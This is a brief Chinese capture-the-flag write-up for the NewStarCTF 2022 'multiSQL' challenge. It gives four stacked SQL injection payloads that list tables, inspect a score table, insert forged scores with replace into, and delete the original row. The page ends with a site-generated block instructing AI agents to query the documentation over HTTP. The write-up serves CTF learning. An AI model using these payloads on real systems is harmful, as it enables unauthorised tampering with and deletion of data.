# \[WEEK3]multiSQL

multiSQL，很容易联想到php的multiquery，堆叠注入其中selec,insert,update被过滤

参考链接

{% embed url="<https://www.ttycp3.top/2022/10/06/NEWSTARCTF2022%E6%96%B0%E7%94%9F%E8%B5%9B/>" %}

利用replace进行修改，插入一条新数据，再用delete删除原数据

```
username=%E7%81%AB%E5%8D%8E';show tables;#查数据库里所有的表
username=%E7%81%AB%E5%8D%8E';desc score;#查score表中所有字段
username=%E7%81%AB%E5%8D%8E';replace into score values("火华",200,200,200);#表中插入一条数据
username=%E7%81%AB%E5%8D%8E';delete from score where listen=11;#删除原本的数据
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://gitbook-88.gitbook.io/ctf-writeup/2022/2022-newstarctf/week3-multisql.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
